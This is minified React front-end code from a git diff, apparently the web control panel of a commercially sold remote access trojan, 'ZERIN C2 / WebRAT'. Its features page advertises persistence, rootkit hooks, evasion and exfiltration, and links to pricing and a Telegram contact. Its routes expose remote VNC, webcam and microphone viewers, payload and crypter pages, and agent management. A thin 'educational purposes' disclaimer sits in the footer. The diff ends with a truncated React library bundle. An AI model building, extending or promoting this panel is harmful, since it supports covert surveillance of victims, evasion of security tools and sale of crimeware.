text-zerin-text-muted leading-relaxed mt-0.5",children:t.desc}),t.detail&&i&&s.jsx("p",{className:"font-mono text-[11px] text-zerin-accent/60 leading-relaxed mt-2 pl-0 border-l-2 border-zerin-accent/20 ml-0 pl-3",children:t.detail})]})]})})});function kV({cat:e,index:t}){const{ref:n,visible:r}=KS(.1);return s.jsxs("section",{ref:n,id:e.id,className:"scroll-mt-24",children:[s.jsxs("div",{className:`flex items-center gap-4 mb-6 transition-all duration-700 ${r?"opacity-100 translate-x-0":"opacity-0 -translate-x-4"}`,children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/40",children:String(t+1).padStart(2,"0")}),s.jsx("div",{className:"w-8 h-8 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center text-zerin-accent/70",children:e.icon})]}),s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("h2",{className:"font-display font-bold text-xl text-zerin-text tracking-tight",children:e.label}),s.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] border border-zerin-accent/20 text-zerin-accent/50 px-1.5 py-0.5 leading-none",children:e.tag})]}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted mt-0.5",children:e.lead})]})]}),s.jsxs("div",{className:`grid gap-[1px] ${e.terminal?"lg:grid-cols-[1fr_380px]":""} gap-6`,children:[s.jsx("div",{className:"space-y-[1px]",children:e.features.map((i,a)=>s.jsx(jV,{feat:i,delay:a*50,visible:r},i.name))}),e.terminal&&s.jsx("div",{className:"hidden lg:block",children:s.jsx("div",{className:"sticky top-24",children:s.jsx(wV,{title:e.terminal.title,lines:e.terminal.lines})})})]})]})}function NV({activeId:e}){return s.jsx("nav",{className:"hidden xl:block fixed left-6 top-1/2 -translate-y-1/2 z-40",children:s.jsx("div",{className:"flex flex-col gap-1",children:Mi.map(t=>s.jsxs("a",{href:`#${t.id}`,className:`group flex items-center gap-2 py-1 transition-all duration-300 ${e===t.id?"opacity-100":"opacity-30 hover:opacity-60"}`,children:[s.jsx("div",{className:`h-[2px] transition-all duration-300 ${e===t.id?"w-6 bg-zerin-accent":"w-3 bg-zerin-text-muted/40 group-hover:w-4 group-hover:bg-zerin-text-muted/60"}`}),s.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] text-zerin-text-muted uppercase",children:t.tag})]},t.id))})})}function Zl({value:e,label:t,suffix:n=""}){return s.jsxs("div",{className:"text-center",children:[s.jsxs("div",{className:"font-mono text-3xl md:text-4xl font-bold text-zerin-accent tabular-nums",children:[e,n]}),s.jsx("div",{className:"text-zerin-text-muted text-[10px] mt-1.5 uppercase tracking-[0.2em] font-mono",children:t})]})}function SV(){const[e,t]=p.useState(!1),[n,r]=p.useState(Mi[0].id);p.useEffect(()=>{const o=()=>t(window.scrollY>20);return window.addEventListener("scroll",o),()=>window.removeEventListener("scroll",o)},[]),p.useEffect(()=>{const o=new IntersectionObserver(c=>{for(const u of c)u.isIntersecting&&r(u.target.id)},{rootMargin:"-30% 0px -60% 0px"});return Mi.map(c=>document.getElementById(c.id)).filter(Boolean).forEach(c=>o.observe(c)),()=>o.disconnect()},[]);const i=p.useCallback(()=>{window.scrollTo({top:0,behavior:"smooth"})},[]),a=Mi.reduce((o,l)=>o+l.features.length,0);return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[s.jsx(bV,{}),s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),s.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${e?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsx("div",{className:"flex items-center gap-3",children:s.jsxs(dt,{to:"/",className:"flex items-center gap-3 hover:opacity-80 transition-opacity",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]})}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(dt,{to:"/features",className:"text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),s.jsx("a",{href:"/#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx(dt,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),s.jsx(dt,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),s.jsx(NV,{activeId:n}),s.jsxs("section",{className:"relative z-10 pt-32 pb-16 px-6 text-center",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Platform Capabilities"}),s.jsxs("h1",{className:"font-display font-bold text-4xl sm:text-5xl md:text-6xl tracking-tight mt-4 mb-5",children:["Full Spectrum"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent",children:"Red Team Toolkit"})]}),s.jsxs("p",{className:"max-w-2xl mx-auto text-zerin-text-muted/80 text-[15px] leading-relaxed font-mono",children:[a," capabilities across ",Mi.length," modules — from initial access to persistence, evasion, and exfiltration. Everything an operator needs in a single platform."]}),s.jsxs("div",{className:"mt-14 max-w-3xl mx-auto grid grid-cols-2 sm:grid-cols-4 gap-8 border border-[#1a1a22] bg-[#08080c]/50 py-6 px-6",children:[s.jsx(Zl,{value:String(a),label:"Capabilities"}),s.jsx(Zl,{value:"13",label:"Persist Methods"}),s.jsx(Zl,{value:"11",label:"Rootkit Hooks"}),s.jsx(Zl,{value:"256",label:"Proxy Channels"})]}),s.jsx("div",{className:"mt-10 flex flex-wrap items-center justify-center gap-2",children:Mi.map(o=>s.jsx("a",{href:`#${o.id}`,className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/60 border border-[#1a1a22] hover:border-zerin-accent/30 hover:text-zerin-accent/80 px-3 py-1.5 transition-all duration-300 uppercase",children:o.label},o.id))})]}),s.jsx("div",{className:"max-w-6xl mx-auto px-6",children:s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"})}),s.jsx("div",{className:"relative z-10 max-w-5xl mx-auto px-6 py-20 space-y-24",children:Mi.map((o,l)=>s.jsx(kV,{cat:o,index:l},o.id))}),s.jsxs("section",{className:"relative z-10 py-24 px-6 text-center border-t border-[#1a1a22]/50",children:[s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl tracking-tight mb-4",children:["Ready to"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),s.jsxs("p",{className:"text-zerin-text-muted text-[15px] mb-8 max-w-md mx-auto",children:["Get lifetime access to the full platform — all ",a," capabilities included."]}),s.jsxs("div",{className:"flex items-center justify-center gap-4",children:[s.jsxs("a",{href:"/#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-8 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[s.jsx("span",{className:"relative z-10",children:"View Pricing"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),s.jsx(dt,{to:"/register",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-8 py-3 transition-all duration-300",children:"Register"})]})]}),s.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[s.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[s.jsxs("button",{onClick:i,className:"flex items-center gap-2 hover:opacity-80 transition-opacity",children:[s.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),s.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),s.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function Ql({children:e}){const{isAuthenticated:t}=ls();return t?s.jsx(s.Fragment,{children:e}):s.jsx(Qi,{to:"/",replace:!0})}function zV({children:e}){const{isAuthenticated:t,isAdmin:n}=ls();return t?n?s.jsx(s.Fragment,{children:e}):s.jsx(Qi,{to:"/",replace:!0}):s.jsx(Qi,{to:"/login",replace:!0})}function L2({children:e}){const{isAuthenticated:t}=ls();return t?s.jsx(Qi,{to:"/dashboard",replace:!0}):s.jsx(s.Fragment,{children:e})}function CV(){const[e]=xx(),t=ur();return p.useEffect(()=>{let n=e.get("token");if(!n){const r=window.location.hash;r.startsWith("#token=")&&(n=decodeURIComponent(r.slice(7)))}n&&n.split(".").length===3&&(vx(n),xi()),t("/dashboard",{replace:!0})},[e,t]),null}function PV(){const{isAuthenticated:e}=ls();return e?s.jsx(Qi,{to:"/dashboard",replace:!0}):yx()?s.jsx(WA,{}):s.jsx(Qi,{to:"/login",replace:!0})}function EV(){return s.jsx(aA,{children:s.jsxs(pE,{children:[s.jsx(ht,{path:"/",element:s.jsx(PV,{})}),s.jsx(ht,{path:"/auth",element:s.jsx(CV,{})}),s.jsx(ht,{path:"/features",element:s.jsx(SV,{})}),s.jsx(ht,{path:"/payment/:id",element:s.jsx(yV,{})}),s.jsx(ht,{path:"/login",element:s.jsx(L2,{children:s.jsx(UA,{})})}),s.jsx(ht,{path:"/register",element:s.jsx(L2,{children:s.jsx(VA,{})})}),s.jsx(ht,{path:"/vnc/:id",element:s.jsx(Ql,{children:s.jsx(rV,{})})}),s.jsx(ht,{path:"/webcam/:id",element:s.jsx(Ql,{children:s.jsx(cV,{})})}),s.jsx(ht,{path:"/mic/:id",element:s.jsx(Ql,{children:s.jsx(dV,{})})}),s.jsxs(ht,{element:s.jsx(Ql,{children:s.jsx(LA,{})}),children:[s.jsx(ht,{path:"/dashboard",element:s.jsx(SU,{})}),s.jsx(ht,{path:"/agents/:id",element:s.jsx(XU,{})}),s.jsx(ht,{path:"/events",element:s.jsx(QU,{})}),s.jsx(ht,{path:"/payloads",element:s.jsx(tV,{})}),s.jsx(ht,{path:"/crypter",element:s.jsx(xV,{})}),s.jsx(ht,{path:"/admin",element:s.jsx(zV,{children:s.jsx(hV,{})})})]}),s.jsx(ht,{path:"*",element:s.jsx(Qi,{to:"/",replace:!0})})]})})}Np.createRoot(document.getElementById("root")).render(s.jsx(wh.StrictMode,{children:s.jsx(jE,{children:s.jsx(EV,{})})})); diff --git a/dist/assets/index-MJ7nF-V0.js b/dist/assets/index-MJ7nF-V0.js new file mode 100755 index 0000000..23f9f35 --- /dev/null +++ b/dist/assets/index-MJ7nF-V0.js @@ -0,0 +1,422 @@ +var _3=Object.defineProperty;var O3=(e,t,n)=>t in e?_3(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var rf=(e,t,n)=>O3(e,typeof t!="symbol"?t+"":t,n);function T3(e,t){for(var n=0;nr[i]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const a of i)if(a.type==="childList")for(const o of a.addedNodes)o.tagName==="LINK"&&o.rel==="modulepreload"&&r(o)}).observe(document,{childList:!0,subtree:!0});function n(i){const a={};return i.integrity&&(a.integrity=i.integrity),i.referrerPolicy&&(a.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?a.credentials="include":i.crossOrigin==="anonymous"?a.credentials="omit":a.credentials="same-origin",a}function r(i){if(i.ep)return;i.ep=!0;const a=n(i);fetch(i.href,a)}})();function kr(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var b2={exports:{}},Su={},w2={exports:{}},xe={};/** + * @license React + * react.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var Ao=Symbol.for("react.element"),M3=Symbol.for("react.portal"),L3=Symbol.for("react.fragment"),I3=Symbol.for("react.strict_mode"),D3=Symbol.for("react.profiler"),R3=Symbol.for("react.provider"),$3=Symbol.for("react.context"),B3=Symbol.for("react.forward_ref"),F3=Symbol.for("react.suspense"),W3=Symbol.for("react.memo"),U3=Symbol.for("react.lazy"),tv=Symbol.iterator;function V3(e){return e===null||typeof e!="object"?null:(e=tv&&e[tv]||e["@@iterator"],typeof e=="function"?e:null)}var j2={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},k2=Object.assign,N2={};function Ka(e,t,n){this.props=e,this.context=t,this.refs=N2,this.updater=n||j2}Ka.prototype.isReactComponent={};Ka.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};Ka.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function S2(){}S2.prototype=Ka.prototype;function ih(e,t,n){this.props=e,this.context=t,this.refs=N2,this.updater=n||j2}var ah=ih.prototype=new S2;ah.constructor=ih;k2(ah,Ka.prototype);ah.isPureReactComponent=!0;var nv=Array.isArray,z2=Object.prototype.hasOwnProperty,sh={current:null},C2={key:!0,ref:!0,__self:!0,__source:!0};function P2(e,t,n){var r,i={},a=null,o=null;if(t!=null)for(r in t.ref!==void 0&&(o=t.ref),t.key!==void 0&&(a=""+t.key),t)z2.call(t,r)&&!C2.hasOwnProperty(r)&&(i[r]=t[r]);var l=arguments.length-2;if(l===1)i.children=n;else if(1>>1,X=W[q];if(0>>1;qi(fe,B))mei(Y,fe)?(W[q]=Y,W[me]=B,q=me):(W[q]=fe,W[ue]=B,q=ue);else if(mei(Y,B))W[q]=Y,W[me]=B,q=me;else break e}}return H}function i(W,H){var B=W.sortIndex-H.sortIndex;return B!==0?B:W.id-H.id}if(typeof performance=="object"&&typeof performance.now=="function"){var a=performance;e.unstable_now=function(){return a.now()}}else{var o=Date,l=o.now();e.unstable_now=function(){return o.now()-l}}var c=[],u=[],d=1,f=null,m=3,h=!1,x=!1,g=!1,y=typeof setTimeout=="function"?setTimeout:null,v=typeof clearTimeout=="function"?clearTimeout:null,b=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function w(W){for(var H=n(u);H!==null;){if(H.callback===null)r(u);else if(H.startTime<=W)r(u),H.sortIndex=H.expirationTime,t(c,H);else break;H=n(u)}}function j(W){if(g=!1,w(W),!x)if(n(c)!==null)x=!0,L(k);else{var H=n(u);H!==null&&F(j,H.startTime-W)}}function k(W,H){x=!1,g&&(g=!1,v(z),z=-1),h=!0;var B=m;try{for(w(H),f=n(c);f!==null&&(!(f.expirationTime>H)||W&&!T());){var q=f.callback;if(typeof q=="function"){f.callback=null,m=f.priorityLevel;var X=q(f.expirationTime<=H);H=e.unstable_now(),typeof X=="function"?f.callback=X:f===n(c)&&r(c),w(H)}else r(c);f=n(c)}if(f!==null)var se=!0;else{var ue=n(u);ue!==null&&F(j,ue.startTime-H),se=!1}return se}finally{f=null,m=B,h=!1}}var S=!1,N=null,z=-1,O=5,E=-1;function T(){return!(e.unstable_now()-EW||125q?(W.sortIndex=B,t(u,W),n(c)===null&&W===n(u)&&(g?(v(z),z=-1):g=!0,F(j,B-q))):(W.sortIndex=X,t(c,W),x||h||(x=!0,L(k))),W},e.unstable_shouldYield=T,e.unstable_wrapCallback=function(W){var H=m;return function(){var B=m;m=H;try{return W.apply(this,arguments)}finally{m=B}}}})(M2);T2.exports=M2;var tz=T2.exports;/** + * @license React + * react-dom.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var nz=p,Jt=tz;function Q(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),fp=Object.prototype.hasOwnProperty,rz=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,iv={},av={};function iz(e){return fp.call(av,e)?!0:fp.call(iv,e)?!1:rz.test(e)?av[e]=!0:(iv[e]=!0,!1)}function az(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return r?!1:n!==null?!n.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function sz(e,t,n,r){if(t===null||typeof t>"u"||az(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function Tt(e,t,n,r,i,a,o){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=i,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=a,this.removeEmptyString=o}var wt={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){wt[e]=new Tt(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];wt[t]=new Tt(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){wt[e]=new Tt(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){wt[e]=new Tt(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){wt[e]=new Tt(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){wt[e]=new Tt(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){wt[e]=new Tt(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){wt[e]=new Tt(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){wt[e]=new Tt(e,5,!1,e.toLowerCase(),null,!1,!1)});var ch=/[\-:]([a-z])/g;function uh(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(ch,uh);wt[t]=new Tt(t,1,!1,e,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(ch,uh);wt[t]=new Tt(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(ch,uh);wt[t]=new Tt(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(e){wt[e]=new Tt(e,1,!1,e.toLowerCase(),null,!1,!1)});wt.xlinkHref=new Tt("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(e){wt[e]=new Tt(e,1,!1,e.toLowerCase(),null,!0,!0)});function dh(e,t,n,r){var i=wt.hasOwnProperty(t)?wt[t]:null;(i!==null?i.type!==0:r||!(2l||i[o]!==a[l]){var c=` +`+i[o].replace(" at new "," at ");return e.displayName&&c.includes("")&&(c=c.replace("",e.displayName)),c}while(1<=o&&0<=l);break}}}finally{of=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?Es(e):""}function oz(e){switch(e.tag){case 5:return Es(e.type);case 16:return Es("Lazy");case 13:return Es("Suspense");case 19:return Es("SuspenseList");case 0:case 2:case 15:return e=lf(e.type,!1),e;case 11:return e=lf(e.type.render,!1),e;case 1:return e=lf(e.type,!0),e;default:return""}}function xp(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case la:return"Fragment";case oa:return"Portal";case pp:return"Profiler";case fh:return"StrictMode";case mp:return"Suspense";case hp:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case D2:return(e.displayName||"Context")+".Consumer";case I2:return(e._context.displayName||"Context")+".Provider";case ph:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case mh:return t=e.displayName||null,t!==null?t:xp(e.type)||"Memo";case Lr:t=e._payload,e=e._init;try{return xp(e(t))}catch{}}return null}function lz(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return xp(t);case 8:return t===fh?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function ri(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function $2(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function cz(e){var t=$2(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var i=n.get,a=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(o){r=""+o,a.call(this,o)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(o){r=""+o},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function rl(e){e._valueTracker||(e._valueTracker=cz(e))}function B2(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=$2(e)?e.checked?"true":"false":e.value),e=r,e!==n?(t.setValue(e),!0):!1}function ac(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function vp(e,t){var n=t.checked;return Ue({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function ov(e,t){var n=t.defaultValue==null?"":t.defaultValue,r=t.checked!=null?t.checked:t.defaultChecked;n=ri(t.value!=null?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function F2(e,t){t=t.checked,t!=null&&dh(e,"checked",t,!1)}function gp(e,t){F2(e,t);var n=ri(t.value),r=t.type;if(n!=null)r==="number"?(n===0&&e.value===""||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if(r==="submit"||r==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?yp(e,t.type,n):t.hasOwnProperty("defaultValue")&&yp(e,t.type,ri(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function lv(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!(r!=="submit"&&r!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}n=e.name,n!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,n!==""&&(e.name=n)}function yp(e,t,n){(t!=="number"||ac(e.ownerDocument)!==e)&&(n==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}var As=Array.isArray;function ja(e,t,n,r){if(e=e.options,t){t={};for(var i=0;i"+t.valueOf().toString()+"",t=il.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function Ks(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var 